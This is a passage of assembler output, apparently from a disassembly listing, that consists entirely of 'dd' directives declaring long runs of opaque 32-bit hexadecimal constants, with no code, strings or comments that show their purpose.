		dd 0E5E2DCE6h, 263B10E0h, 1B4F3D06h, 2062A441h,	9DEC081Dh
		dd 212DC924h, 87B53572h, 0D772EE84h, 1EC32C6h, 35EB135Ch
		dd 21F2814Ah, 42DD2CA8h, 5D5091DAh, 9E079495h, 59ED272Eh
		dd 0C34DBBE2h, 0DD504A07h, 0E34E761Eh, 0F531EA9Ah, 2B46630Dh
		dd 3500FDF2h, 1384DC65h, 623F14D1h, 0D0B50088h,	0D98BD531h
		dd 0B6C6705Fh, 3900DE9Ch, 2D8068E6h, 97FCFE93h,	5FEC6716h
		dd 0CFFFF338h, 0BE92E3DBh, 0FA8BE530h, 0FD9D250Bh, 0B6C1F6A5h
		dd 0C11AE0CBh, 201501C6h, 8FFB44FDh, 93C66EAEh,	666005BFh
		dd 0D52029B9h, 0C241FB06h, 2DF19589h, 82A6742Eh, 0FC2401E4h
		dd 5229CCBEh, 8DBAF500h, 0D97379DAh, 0C2043A27h, 0EDAD788Bh
		dd 0C11EF56h, 7A2EA55Eh, 493328Dh, 60651290h, 0A9D2DF02h
		dd 961AD9Ch, 6A12E985h,	0C453770h, 0B563FE2Fh, 8BE713B1h
		dd 1AC4A4FBh, 0B4D24667h, 29ECED37h, 3E649511h,	71AD4299h
		dd 0C850179Fh, 7300D36Fh, 6F62651Bh, 0B860E5Bh,	549B1E8Ch
		dd 27F6425Ch, 52D62F63h, 27737ADh, 0D94B22E6h, 0BDB3C45Fh
		dd 1220F204h, 0FB5025B3h, 9D2B4B35h, 0C59B2B01h, 0EA511380h
		dd 912CAFFh, 2DD2C5B5h,	0DC907CD1h, 0CD7F3A0Ah,	6B60C466h
		dd 4B59D4D3h, 38488A90h, 0A7A5A45h, 6539EF00h, 4B1770A8h
		dd 4C8C3C01h, 26AF88Bh,	99007038h, 57BB50E6h, 0E5540DBh
		dd 3B5FE5F2h, 0DABFBD63h, 9BD8F0Ch, 0C44E71D1h,	953A88BEh
		dd 0BD311127h, 7A030006h, 0A14D33B4h, 16F30495h, 0B6D26CB9h
		dd 0BD5FE02Fh, 0FA010040h, 0F7D471C9h, 0B2C45269h, 5F041CE5h
		dd 7FACB290h, 6BA2484Ah, 289538Ah, 5F5BF262h, 0F805AA5Ch
		dd 94819022h, 0CA2A346Dh, 5A204B14h, 2FB88CBh, 920B3403h
		dd 9C5CD333h, 808637C9h, 5DECEE56h, 2E09773Ah, 21ADD75h
		dd 921E9FFh, 3EA98959h,	0D8F4BB93h, 4DC7B56Ah, 0AE601B44h
		dd 0A70584B0h, 0A04AA276h, 2C203EACh, 920B74B0h, 821A67ADh
		dd 0F3297916h, 201ED02Ch, 0F1FD6C24h, 0C45B0A90h, 8C9FADF5h
		dd 160F37FEh, 0EDB0DFB7h, 80BB8F37h, 0E6773025h, 5F91BD70h
		dd 0DA63E002h, 1AAD7F00h, 8885D5D3h, 17A204E5h,	0D94BF58Dh
		dd 57063AC7h, 1871819h,	6129BDBBh, 2EFC71E4h, 84B98748h
		dd 0B814E380h, 4ADE906Fh, 21856FDCh, 602518A9h,	97DD8A69h
		dd 0C82B4D00h, 3A00F4BBh, 0D18B301Dh, 92ED9D01h, 0BD638B5Bh
		dd 179C5100h, 1829ED7h,	0B4ADC9AEh, 71C29B5Ch, 3943A55h
		dd 0A5018C08h, 0E002456Ah, 1AC4157Dh, 0E59D9CC2h, 64465C2Eh
		dd 811C5810h, 4187C81Bh, 8749BB81h, 0F32B7D39h,	109B50E4h
		dd 9EB7F012h, 272249E2h, 8A821EC7h, 1909A5D5h, 518388FEh
		dd 274D6225h, 0A008805Eh, 97CDE2C0h, 8D45130h, 2EE6ED4Ah
		dd 2899B5F0h, 0AED46217h, 23750BD1h, 0D203A23Bh, 0F9806F9Ah
		dd 0BF934F25h, 0A6054D79h, 8FCB91Ah, 0B1925FF8h, 0ED9B2B2Bh
		dd 8116FD92h, 26399D2Bh, 0B920C606h, 23FC2816h,	2BC9C5EDh
		dd 0C0EFDBC0h, 0B292F890h, 902D78E7h, 5FDA25BBh, 0C7D0D553h
		dd 0F03AFD08h, 194171EBh, 26366D2Bh, 9FEB05Ah, 14D338ABh
		dd 84C6A796h, 0B949A9DAh, 6E91CD7Bh, 71FF3CEh, 0B4D70039h
		dd 0B09F331Eh, 0BE602F00h, 0A878C801h, 0EE6B122Dh, 178E2AFh
		dd 9C9EEB81h, 6B6E473Fh, 192352h, 46032DB0h, 66BFC2C0h
		dd 0F780026Eh, 31F860D9h, 65250A63h, 0B78CCE61h, 3C4057EDh
		dd 1D4D70DEh, 2371E90h,	0F419D0Bh, 0A1459D55h, 0BB4AF874h
		dd 0C04FBC09h, 0D5158935h, 94954470h, 0DE635E7Ch, 5EB6C91Fh
		dd 2BA03F58h, 4F76EFE8h, 0B80D201Ch, 60874F25h,	264CA7EAh
		dd 794ED490h, 0A3B3E412h, 0E19CF04Ah, 0A1B5290Bh, 0C4B4CE23h
		dd 130436E1h, 5B80A6A8h
		dd 0D09A2BB0h, 18D6C39h, 2616538h, 282E23B9h, 41C0316Bh
		dd 0F64DFFBBh, 4E14970Dh, 60DB93EBh, 29C9E3ACh,	5F1F2504h
		dd 2C37ADh, 413E61C9h, 1890DC71h, 0D01BD12h, 0A692D7A9h
		dd 12FAA0F7h, 4B50985Dh, 0FB9785FBh, 9200176Eh,	0D4AF0DB8h
		dd 125DC8Ah, 0B16B7685h, 2A1695AAh, 411AFA8Ch, 0FA788001h
		dd 73DACCBFh, 1F9A9506h, 2600E066h, 0E0713D08h,	568FB3h
		dd 5CFC498Eh, 2B37BC43h, 958CE34Bh, 0BBCF0281h,	506BA687h
		dd 544BB97Ch, 2B5BC02Ch, 1B2D67A7h, 0E4FE6739h,	5F736214h
		dd 6F6AD6C1h, 0D1C19ADBh, 3E32A1BAh, 50F8810Bh,	0C12F01CCh
		dd 0D6059C68h, 0A204E78Ch, 7348FE63h, 6AC0219Bh, 2DE06BAFh
		dd 6D83F325h, 60176450h, 7F4FD334h, 95D704D1h, 0B844D8F8h
		dd 0E948DEE1h, 0AB04FCBEh, 0D3883301h, 2BA789FAh, 87C2E134h
		dd 9EFCA8BDh, 5DBD6225h, 0F000A7CEh, 0F86C4D94h, 6102Eh
		dd 1EBF4678h, 268BC9A4h, 0C45D0D25h, 0DED194AFh, 1B1F9B01h
		dd 0F8779671h, 81C4302Eh, 9F04BDC7h, 6897819h, 9E007CB2h
		dd 18B8D7E1h, 792E7CD5h, 0AF1EF9BDh, 4BA4CCE5h,	0EEA084FAh
		dd 9F090E6Eh, 0B07160ECh, 3855BF00h, 244F5254h,	6092F386h
		dd 0E05D8267h, 76E6EF00h, 0CFC1993h, 41009FC2h,	5A38EAF0h
		dd 0BD096109h, 503A41A9h, 2F2DB4BCh, 0CF80F182h, 2F73F45Fh
		dd 0C4A735BDh, 22C75C2Bh, 9D09DD04h, 6813B03Dh,	97F5060Bh
		dd 752A4A1Bh, 5B498FD4h, 0F6F902DBh, 0EDE11B88h, 1E842BEDh
		dd 84252AAAh, 2EA5037h,	36C4685Ah, 6C002171h, 0B025206Dh
		dd 63BB0266h, 3CB750EBh, 4D55336Ah, 7668C014h, 59059DDDh
		dd 6ACF886Fh, 891FC91Dh, 40CFE524h, 0E1533ADBh,	0A6CCA04Bh
		dd 0F2E09F88h, 5C820DDDh, 0CDDE5A1Dh, 60A0B042h, 4DC16Bh
		dd 0BDE674D7h, 0E1AF641h, 9ED01761h, 282E5B40h,	40D36B51h
		dd 25AA6FBAh, 481B7095h, 0D34F1C01h, 0F9845CE4h, 0EA3AE925h
		dd 0F489620h, 7819508Eh, 7F89880Dh, 79E4200h, 39FFAF3Eh
		dd 0F4D23D55h, 0C9BFFC4Ah, 0D759795Fh, 7E845117h, 0C16EEAh
		dd 0BFE80A02h, 4B872971h, 2256CA3Ah, 78919355h,	4E094AD8h
		dd 161D1C5Eh, 5D276920h, 8060F540h, 8909F00Bh, 97EBDEB5h
		dd 2FAECD61h, 3D894DDCh, 0CCCB0A13h, 31776071h,	268EA549h
		dd 112F353h, 6158BA81h,	0A0A4CA2Ah, 0BC4FC91h, 7A5440CAh
		dd 0D9E2F95Ch, 7273091Ch, 25E135AFh, 0D3042CD8h, 21B52995h
		dd 979673A0h, 11026A61h, 0F1EA5F53h, 3EB1005Dh,	94267091h
		dd 6925EB01h, 43A7078Dh, 4804AA91h, 78CA1414h, 0FEF6D3AFh
		dd 80ACFCF0h, 0F412A3ECh, 9EADDE8Bh, 0A06AB6D2h, 7C59637Bh
		dd 5F512B85h, 0E74C3BD8h, 36EE0225h, 0C5DB8012h, 0F1633F3h
		dd 0C758887h, 3F930613h, 5153228Ch, 0E3F9E60h, 83A5619Ch
		dd 5F34EBC2h, 22FDBBFh,	46B41F2Eh, 271B5E33h, 0D07349DBh
		dd 5E5795B4h, 0ECCB0FEh, 8FBDB383h, 12E47A49h, 0F7986DCBh
		dd 499A5A4Ch, 55F89980h, 67049D0Bh, 2E39BD33h, 9AB443BCh
		dd 29DC9E5h, 1B3D51h, 99D38153h, 527A6813h, 0E09B4D53h
		dd 0A8724A80h, 76286FC7h, 3D20FF9Ah, 0F8B32415h, 2284C95Eh
		dd 5B92EDCDh, 7AFFDA12h, 440325FDh, 358E007Ah, 89699954h
		dd 9100572Eh, 0DA40906Fh, 2756B2FEh, 20F95FFCh,	5AEEDC83h
		dd 47B9986Dh, 14B60B38h, 95A97E69h, 9BC2B56Dh, 0ADC4C1E7h
		dd 0F508837h, 0BD913FC7h, 0E0652F04h, 0D239BD18h, 7FA0A7E6h
		dd 2E0B4145h, 58CA2C5Fh, 23214103h, 0C3E70033h,	0A55C5E0Eh
		dd 0FE8C39E6h, 66FFF600h, 13C98D09h, 44489C97h,	58CFFC25h
		dd 502510DDh, 2790FD90h, 0AAC28500h, 0E02B42Bh,	0EB4A010Fh
		dd 990A3D43h, 81A55497h, 55487E61h, 0C0E3DE88h,	0AAC7BDE4h
		dd 0E82B29BEh, 0AFA503E4h, 0C6C863BCh, 0FD0B5ADEh, 0A7B7AA46h
		dd 5B7639C2h, 0E862584h, 0D48037E6h, 768CBE7Ch,	1A712731h
		dd 83D8E22h, 0CAD87675h, 0E550961h, 64C7D371h, 0F4F6D60Bh
		dd 8AE0A83Ah, 0BC522E0Ah, 7124A909h, 935C69D7h,	0E57A00D4h
		dd 11235A5Ch, 6B4B2431h, 7651C282h, 0E2194082h,	44077C2Ah
		dd 5B616018h, 6BAF7119h, 74DC1774h, 233A048Dh, 1C1965BDh
		dd 0D3854BBAh, 56C1330Bh, 0ED4DEB1Dh, 0F09F7340h, 9D5C04B6h
		dd 0A8DD8531h, 5190026Eh, 0C6C78B60h, 0DBA3001Bh, 3250583h
		dd 7507C2BEh, 0C90BC1D9h, 41F8B500h, 83A2516Bh,	8AA9B43Eh
		dd 0D9BCF44Bh, 49B853B0h, 25958C09h, 0C32C5D5Bh, 9A9DCF70h
		dd 0ED1E6007h, 6A61801Fh, 80F7379Dh, 20698E36h,	0A32F8CC1h
		dd 39EE8211h, 0BE040B17h, 5825405h, 614504D2h, 9E53AF02h
		dd 21CD77EDh, 59774BE0h, 0CDF804E1h, 0B8F324B9h, 4B6E4FD2h
		dd 34D9CE02h, 6156DF19h, 0CA892D60h, 549F613h, 6D289A93h
		dd 0EABF12C4h, 6449ED67h, 29B90014h, 0BF13471h,	9103C419h
		dd 0DF03949Eh, 5F2E255Bh, 52803079h, 87417C7Dh,	0D114C59h
		dd 5F464805h, 0B8CAB990h, 8C760009h, 2F6C0AEEh,	0D05845ACh
		dd 0B0B30BACh, 0F939A416h, 1E210989h, 57BE735h,	0ED0FB9F4h
		dd 413E8E8h, 4E42CFD0h,	32610F26h, 2DD024F2h, 6E01BEFCh
		dd 2B6CC696h, 4828880Fh, 0FF0927C1h, 0C0985BD1h, 8B6269B0h
		dd 0DC130401h, 0ECE566FAh, 43AE961Eh, 7D2D7270h, 21538D88h
		dd 0B4753F16h, 0ABB291ACh, 0AD0B8925h, 69915616h, 8F504B5Bh
		dd 4CDE0160h, 2809FDAFh, 0D4F03B72h, 241D4DA5h,	60E84454h
		dd 0CBF3390Ah, 0CC010419h, 5682363Fh, 50205B1Bh, 510644E9h
		dd 0AABCA809h, 9B047D45h, 0A1C1E85Fh, 36A6D98Bh, 19A5094Bh
		dd 0D997C1D0h, 951AB7FDh, 4E9BCAE2h, 0A2008F6Ah, 911C3207h
		dd 9A62E9A6h, 69FDBD7Eh, 9D645B96h, 0C45764BFh,	0B79FBC0Eh
		dd 96189E34h, 299B6587h, 12959478h, 0AF67DBB7h,	0FCA2BC57h
		dd 46EE5000h, 51E804C5h, 0DD4BF8E2h, 0D53CA9CDh, 54A36181h
		dd 41EBC0DFh, 90D21409h, 0C6B8CA60h, 61CA00F9h,	0A3BD6879h
		dd 80788C50h, 0DE38D73Dh, 0D27E4630h, 7432002Fh, 0FA768FD3h
		dd 0E27D998h, 929A7C14h, 0E033A690h, 4E4BA12h, 1AB5AA0Ch
		dd 355A810Bh, 0B202D30h, 56FCFDF3h, 927652D8h, 0CBFB9FD4h
		dd 0D0F99D8Bh, 0D9F84B21h, 0DE534CDFh, 2294234Bh, 8AC3BFB8h
		dd 0BBC86ADDh, 8FE135Bh, 4ABF99B8h, 714453CDh, 859488F6h
		dd 8D89020Ah, 94572605h, 0C15452Ch, 730054E2h, 0E665174Ah
		dd 74B5E1CCh, 0B0F826AFh, 29F98802h, 6470B13Fh,	0AA0514FDh
		dd 0A1959D06h, 8068B1D7h, 0CF097AD6h, 14BEE65h,	2FD885D2h
		dd 55E185A6h, 51880B97h, 7AD4255Ah, 0B56A1050h,	9D843EF1h
		dd 0C14901F1h, 1D5B5918h, 0D466601h, 0D4B99D7Dh, 4A3D3330h
		dd 250FF231h, 252FF18Bh, 0D99DAAC4h, 3C899980h,	0D161961Bh
		dd 79705BBCh, 80034483h, 0D0DCE727h, 811D40BAh,	1290EF5Ch
		dd 0A1F02A40h, 0DFBF250Fh, 6F209EE2h, 0ED5926Dh, 3825D801h
		dd 0DFBAEF84h, 23EE9C2Bh, 20659D11h, 0B5813D22h, 4E003DF1h
		dd 929DCCF8h, 22A5F2DFh, 0BD231226h, 0A5E1F4F9h, 31FE17A1h
		dd 0AC65314Ch, 62209F0Eh, 3229573Eh, 5E5B7931h,	1440C2A4h
		dd 6A57E109h, 0F035A63Bh, 92FA96CAh, 0B5B680FBh, 0AAD3B534h
		dd 128737Ah, 0D1091416h, 0CEA32A32h, 9FBCC05Eh,	852529CAh
		dd 61850179h, 4ED274B9h, 51810784h, 500B1948h, 0E51ECEDDh
		dd 0E391F825h, 18DBF8C3h, 1C53011Dh, 0AF073BBFh, 3F5EF279h
		dd 0C77C01DCh, 2793C4B3h
		dd 6E0BD5EEh, 0CB417FF2h, 70A6F8DEh, 724FBDB8h,	43015B60h
		dd 2B2C12D3h, 0E634AFD2h, 0CED8804h, 0FCB5ADBDh, 7B9A455Ch
		dd 0B23D7720h, 56210098h, 0BA04DF38h, 0E6042566h, 15E12C0Ch
		dd 0E64B62BDh, 223DF015h, 0BE211E70h, 0C8E91750h, 0DE188635h
		dd 9DF6959Ah, 956A9A39h, 396804CDh, 17F67461h, 5EB431F8h
		dd 0EADCC4C0h, 5EFE70C2h, 59506985h, 0D9A445B5h, 0B1651814h
		dd 9C36801Eh, 21FFE7A4h, 0C0DFCDB5h, 20717DD9h,	7A019097h
		dd 1BD79DB2h, 39FDB89Ch, 0CA544B3Bh, 98A22C91h,	559DFCh
		dd 6DF13EDBh, 3DE84CB7h, 0ADFCA926h, 17510573h,	0B6004C18h
		dd 0E9BBBE10h, 0B54E8D97h, 16648E6Dh, 0CD127861h, 0B4A4C0BBh
		dd 0E1FF4E12h, 0A9E0E6A6h, 202AFCBh, 8EDED207h,	51D05E41h
		dd 5EF81231h, 103E51BEh, 975FF551h, 0F845BC94h,	39F03E26h
		dd 0BE01D8E1h, 925C1DC9h, 0F52127B7h, 0F2041BE1h, 9C1E1D04h
		dd 8A106280h, 63B7ADh, 0BF81D9B5h, 5CBB6C18h, 4605F25h
		dd 0CEBC2375h, 0C626409Fh, 0E1802E03h, 89E4B795h, 0A17ABFB1h
		dd 97F59944h, 28601519h, 0DBEA806Eh, 5B50EE8h, 0F1248726h
		dd 4169829Bh, 6A6170C9h, 1DC8AFDAh, 17653EC0h, 0AE74E6h
		dd 95C81447h, 90D88AFCh, 0DF5E0B98h, 0E4F095B6h, 87E82E7Dh
		dd 8A5BBB06h, 4E58C086h, 539BFA6Ah, 0E07F3B87h,	0F77B6ADAh
		dd 0BC15D62Eh, 0DD2A5D09h, 0F82039B1h, 780011B8h, 0F645622Bh
		dd 5AF49D46h, 20C9F8E7h, 0A85F4E0Dh, 3FF83E4h, 0E2BF801Fh
		dd 4A5125E4h, 5216BE84h, 0BFE588h, 81B0D197h, 0CC169214h
		dd 0F531B14Fh, 0BDA08B5Fh, 0D70B83F2h, 2C421809h, 74CF0012h
		dd 6DF4731Eh, 27277018h, 84F5D225h, 3C6054D9h, 1FE76E2h
		dd 0E6C9091Ch, 0FD0201B8h, 48FD1011h, 659B0055h, 8193BEE2h
		dd 0FE001295h, 327CF8BAh, 15F59F3h, 0AAFD80B9h,	6A58612Fh
		dd 0D5F8EAC2h, 7E809231h, 0D714FA37h, 0BC26E9EEh, 0E9FC09A8h
		dd 3D5D019Ah, 0B3820000h, 1E2C1391h, 0D1F33B09h, 0AE20D1F4h
		dd 0D3044045h, 2101109Fh, 0AF8643DEh, 343AA6D7h, 0DAB00928h
		dd 0EDA514D1h, 4BA0C06Ah, 84FAECE7h, 4AAA9B02h,	51853138h
		dd 1DE425E3h, 1D622590h, 8F068919h, 760229ABh, 0D25B5A4Ah
		dd 2E05A50h, 5C6137C2h,	0A562D136h, 0F815C6D5h,	0AC7BD61Fh
		dd 50D8122Fh, 46CBF2F4h, 2FA543E0h, 609B7947h, 0D64D3B68h
		dd 9CBF7C04h, 0CFBD5342h, 0C94EC40Fh, 0E010B692h, 2414C917h
		dd 1DBFD41Ah, 872B920Eh, 0F47BA9A4h, 96DAC1ADh,	0F53D4E31h
		dd 4A63225Eh, 0C2E9EFF9h, 80F73794h, 0A2E62321h, 0BD09121Ah
		dd 42434FD5h, 0F69DB2F7h, 751FDCB8h, 0E78153F8h, 4B335AE5h
		dd 7D10C438h, 0FC814B18h, 4A1A1C45h, 9DBC1CBDh,	7DF2DD38h
		dd 6525EC96h, 627D27E7h, 70DA7309h, 6E004185h, 0B61353F7h
		dd 44E9864Dh, 6DFE2921h, 71C82569h, 2902D7CBh, 5C08E1BDh
		dd 0F2CA924Fh, 844A88ADh, 0BA69B589h, 0A337C53Ch, 2B51E913h
		dd 81389C2Ah, 0D012EF74h, 0F5BD0A65h, 1F006AD7h, 0C4A7E7B3h
		dd 0AA563C1Ch, 7A989582h, 0B557677Bh, 84159127h, 8EBD334Fh
		dd 0A8AEEDD7h, 0F67D007Ch, 1246B5AEh, 0D3048131h, 2008A77Fh
		dd 52FB8884h, 4009EE8Fh, 4D62AAFBh, 49090FDEh, 0AC817915h
		dd 44B13DC8h, 0F825EDC0h, 9321015Fh, 0AEC55032h, 9B6B2F8Ah
		dd 4B021723h, 0D1FBF09Ah, 0D6590041h, 69689537h, 4ADD4A56h
		dd 6F02DBA2h, 0B615E489h, 91A08475h, 7A042B4Bh,	5B2AD20Bh
		dd 915335D7h, 0E0E6801Dh, 3991559Eh, 10BD5EDDh,	4CD9CD4Bh
		dd 5A00D73Ah, 60DDEB4Ch, 2780875Ch, 713A33F7h, 1500DFBh
		dd 2C1002B4h, 27E78065h, 0F631F85Eh, 0B80409E5h, 1C135AE6h
		dd 0C2B54492h, 2A96D5C7h, 2D47FBCh, 0AF8FE2DCh,	53403446h
		dd 128319D5h, 0F72C710Ch, 185F4CC7h, 16E101Ch, 263126B5h
		dd 56775200h, 0E26D4B0Fh, 6611464h, 50566496h, 0A6137F9Dh
		dd 0B8C8F9DCh, 0C892027Eh, 637D83D3h, 0F800BDC6h, 960F8AFAh
		dd 54726F5h, 107B5DDFh,	8A6E310Dh, 5A301517h, 2485AA7Ch
		dd 6076AE57h, 94BA222Fh, 9BC6CF0Bh, 0E2515C5Fh,	5E1E2B65h
		dd 0B07DB76Ch, 2CDA9E1Fh, 1E8BDF6Ch, 74AAADEh, 41FBEB6h
		dd 0E484EB7Ah, 7DDBEE34h, 0D85601C0h, 13BD269Dh, 0D029B0A7h
		dd 0A76F005h, 0A1940421h, 75D700E7h, 8C4DB4DCh,	16A56F2Ch
		dd 2E3AEBE0h, 0F7534A6Bh, 94F64F91h, 821231A0h,	0C0219A01h
		dd 9F494357h, 0C787343Eh, 0BA1624DBh, 1823B26Fh, 1407A400h
		dd 0A6572B08h, 845A2983h, 0FA7F968Fh, 2F30F240h, 98341E0h
		dd 5FAA746Bh, 70A8B679h, 4EB21497h, 0B1AAA757h,	0BE705455h
		dd 0DB074B69h, 0C7B0D1AEh, 3830B962h, 0E0736A02h, 0C65A2E3Fh
		dd 0E1FD4506h, 0A53D2E67h, 2D6B6A6Eh, 79D686h, 2EE9F1CBh
		dd 0FBB7FFF3h, 0F65B7866h, 546E8C01h, 9D0960F8h, 66ACD03Bh
		dd 982FD0BBh, 2514F261h, 427B1B19h, 6913899Fh, 35A98956h
		dd 446E4Fh, 1779C69Dh, 257E3A8Ah, 65E6C55Ch, 8483535Eh
		dd 765E665Bh, 69F18F55h, 1634BCCCh, 5A03CBFh, 72C8124h
		dd 29AEED6Eh, 9DEFB54h,	95945850h, 52256A71h, 0B0AF00DDh
		dd 496BC61Fh, 0ED258257h, 0A44D7h, 6C724615h, 56365B37h
		dd 3FFC08D2h, 894CBD97h, 807FF996h, 0C56EFF2Eh,	3D0051BCh
		dd 0A7DE880h, 721D68D9h, 0A14012A5h, 2BD6F15Bh,	16048C6Eh
		dd 0C0BAF6A1h, 8206FAEAh, 0C9C2F2E5h, 5F8BE07Eh, 0AD481390h
		dd 0B4CEB6DBh, 9104F834h, 0F8F3BEC2h, 80C580EEh, 0E9CC0A0h
		dd 9BCA810Eh, 892B95E0h, 0F95F8608h, 1A07C8A2h,	20B532D6h
		dd 4BFA1BD2h, 9AFB911Ch, 921F1C00h, 5EE0E2FFh, 8583A88Bh
		dd 59F66A5Fh, 367551F0h, 9C8F807h, 521C35BDh, 0ADB52531h
		dd 276A6E61h, 747EA2F3h, 807CA510h, 897097F4h, 7EE88095h
		dd 9D18B3DBh, 0B3DE0E09h, 521600F6h, 5667A189h,	5B09F98Ah
		dd 0D23D1FFh, 282EAFCAh, 408A71D4h, 9712F524h, 6776D49Ah
		dd 7EAB00D4h, 0BF42E643h, 77748FBAh, 0D192F801h, 0D88B502Eh
		dd 0E87B6Fh, 0D966A6C4h, 2F26919Ch, 0EB90BB3Bh,	0CCFAF6EEh
		dd 92E2425Dh, 0B8B94816h, 0B88F4A78h, 6AF7E234h, 0D6DD72Ch
		dd 75F594C2h, 0CD25706Eh, 3F53D1Ah, 9CC7FF9Dh, 1F3FC0BDh
		dd 62B5175Fh, 1BD416Bh,	3A5DF512h, 60BFCD64h, 553BE85Eh
		dd 0EF05EC4Fh, 44BBDF8Bh, 119B3F39h, 95125AD9h,	0BD9782E2h
		dd 2F1A8F6h, 0DBBCC7DFh, 7B5E3DCAh, 0BEB77D6Bh,	0A0C1C49Eh
		dd 800FC064h, 8028E22Ah, 0F1FCCCF3h, 55FD00E3h,	1A749BFEh
		dd 0F55F93B4h, 0D09692B9h, 322EAA18h, 72AEFD00h, 6525AF04h
		dd 5687278Ch, 84039D0h,	3D52985Bh, 0B58D51FFh, 0E71730C9h
		dd 4594BFBCh, 89A6B9FAh, 1CA57BFEh, 42C420D9h, 0B00E354Dh
		dd 0EE9D0B07h, 2B9AF4D2h, 1B55BD10h, 352AE092h,	8DD2C64Bh
		dd 9DA22CB4h, 8DC9094Bh, 0BAD97885h, 9377EF06h,	0C3A259D0h
		dd 0CC55021Bh, 0C42D5BEh, 0E98BA2D7h, 0D9FC1A16h, 3379C325h
		dd 0DF5D2B53h, 4F7D1BAh, 63BB3006h, 2227570Dh, 198102D8h
		dd 7F6E7F31h, 4E24895Ah, 512D7CB8h, 40A47C1h, 9F2491D4h
		dd 614074B9h, 243850E9h, 0F6C4BD9Dh, 920F9B5h, 6E7942B3h
		dd 0CDB82114h, 0A5FDAF49h, 63FE1742h, 224C285h,	5A8C9589h
		dd 0B097F880h, 4A1DC869h, 506FEDh, 2725613Eh, 19FDB280h
		dd 7E56432Eh, 5CD53A91h, 0BCF0CFF6h, 6CE488D5h,	5A156016h
		dd 14AC5DBDh, 519B3E8Ch
		dd 0C1DAC79Ch, 0B95B05B5h, 34972EA1h, 3B79F3D1h, 0B673162Fh
		dd 0B232E023h, 0B86B0247h, 0E6CB80CCh, 4FB54360h, 3E81FC3Ch
		dd 3D8F06CAh, 0F70C02Bh, 14446AB1h, 5D2AD20Ch, 0EFF7634Ah
		dd 0A2311CF2h, 650598FFh, 4EBB00ACh, 0D424BFBDh, 4294148Bh
		dd 0D34A0BDCh, 0CF092685h, 37B77172h, 6A6D80EEh, 69CB23B4h
		dd 20EC3B5Eh, 66E50F25h, 46F82EA1h, 6E790E7Fh, 0BD92F41Fh
		dd 8C15ACE4h, 0F9E29416h, 0BB822ABDh, 845EB0CEh, 43999F56h
		dd 0AAF5EC3Eh, 0F6A7041Eh, 287B9501h, 232FC864h, 22C08A7Bh
		dd 112515D1h, 1A4AE55Fh, 0ED572654h, 0BCC5E415h, 4BB973Ch
		dd 5208F56Bh, 90420E3h,	0EF0C9185h, 84C0F7ECh, 181080D5h
		dd 7800BD7Ah, 0BA6B39CDh, 3B0767A3h, 7C89AB21h,	0AB01E1FFh
		dd 2EA996F7h, 8A47FC28h, 6D702E5Bh, 0D4C70207h,	0F98B10FDh
		dd 32501E5Eh, 21BD9504h, 75B7F30Bh, 6D4854BAh, 5C821389h
		dd 0DC25948h, 25D6A3Eh,	82B960B4h, 8D4FC8B1h, 121D9C39h
		dd 69203061h, 170706C9h, 8368AF91h, 0C321810Eh,	446095E0h
		dd 0A12366E1h, 714BB060h, 103749D8h, 0D72AD3C7h, 8B8F41DAh
		dd 37BF5063h, 0B15D23E1h, 137D7C6Ch, 0F6816D81h, 2F617AF2h
		dd 0AF195D48h, 234A2278h, 0B83366DDh, 0FB4FF113h, 55E64D12h
		dd 0C311CB2h, 1239D2Eh,	1503318Ah, 0DF375005h, 0A4A8BBC7h
		dd 908309DDh, 13C4F00Fh, 809AB850h, 0D39F0C07h,	78A00008h
		dd 3F6C3AD0h, 9709D716h, 0D4C72EB9h, 0F5A7C0B0h, 5B254187h
		dd 89B11890h, 1DF920BDh, 2AC5C0A0h, 0E38073A0h,	31684802h
		dd 0F11F0873h, 69DE258Bh, 0A92AB68Fh, 9A55891h,	1F1770CEh
		dd 129306B7h, 0D27188h,	82FDFEDFh, 0A27D100Bh, 0CB72FF00h
		dd 0C82CC5DEh, 2F4309BDh, 635B5BF5h, 16835ADh, 60611314h
		dd 30E72AF0h, 450FEB02h, 5B2975E9h, 0A11DDh, 0CA5ED4D2h
		dd 75608722h, 811A0FA6h, 0BB2467D3h, 4FE2B840h,	2FB0ACE7h
		dd 48259720h, 82FFC6EFh, 7EA95FDDh, 0DD566942h,	3C39576Bh
		dd 0E3242E41h, 85FBDBBFh, 8B00E03Dh, 3394AED3h,	0C052D9Dh
		dd 1A794FDBh, 0F20E9118h, 236B980Ch, 11BBB7BCh,	160335B4h
		dd 0BF6F0446h, 4BDC9200h, 78F75D43h, 0CE13964Bh, 0E80943E8h
		dd 0CF661B5h, 0B806BF81h, 12A167DAh, 801C9FF0h,	57458DE7h
		dd 0A1272D6Eh, 4B20DAA3h, 6B42CD96h, 12A53C2h, 0F5605168h
		dd 9DC02EE3h, 4A1A3AEh,	0D19D291Ch, 0D30EBD0Eh,	3879B930h
		dd 0E721668h, 2E7FB03Fh, 6A027782h, 0FC70EBC9h,	2751B7BDh
		dd 8D85105Ch, 75BB0815h, 0DAFE818Ch, 8C8B4218h,	0FA92B659h
		dd 0F6D7E0E3h, 0A9CFA121h, 0BA507850h, 44401DDAh, 176BA49Ch
		dd 0AE278491h, 0E155F32Ch, 0A094B72Ah, 882A36h,	0AA02F8A0h
		dd 0E9FFE3EBh, 0E9A7464Fh, 134694B0h, 2B0B9B01h, 0C2CEB977h
		dd 4B712E60h, 0EC12CE1Dh, 961BF48Dh, 7B4BCFh, 0B82D70h
		dd 0E88E07AEh, 17B32F4Bh, 74379497h, 363DB535h,	0AD977425h
		dd 12A5A1F8h, 8251069Ah, 0FB13259Fh, 2D75BEFAh,	48D302D5h
		dd 120A54ADh, 712DAE20h, 4FB86A3Fh, 0EE9EF0h, 52FD8765h
		dd 0C039F9BBh, 0E65B2125h, 42B3263Ah, 8A60034Ch, 0B6B561C6h
		dd 0ECEFE459h, 2963028Ah, 5521FD85h, 1BE453CDh,	0AB591160h
		dd 0B7E40305h, 0C3AC3890h, 18128D4Bh, 9D120196h, 8BBD1165h
		dd 195552CBh, 302E5BA9h, 2DF81B7h, 53207612h, 3B21B8CDh
		dd 0A8C1A2Bh, 0C4278856h, 0E325032Ah, 0A10C7111h, 0C293F190h
		dd 3944C198h, 921A975Fh, 0C60033F1h, 0EF065117h, 0C80528ACh
		dd 34AD3497h, 0D379AC35h, 1AB852BDh, 73B1C704h,	5605A111h
		dd 0ABC3645Fh, 0BB813037h, 287B148Eh, 0E05FDEFh, 0B5F24B0h
		dd 70AE0294h, 0DDC3BB27h, 1E309424h, 0F9870F09h, 0FDDF16D8h
		dd 0D8EE7D6Bh, 0E9950109h, 52637619h, 0F7E07A4Dh, 2E43A18h
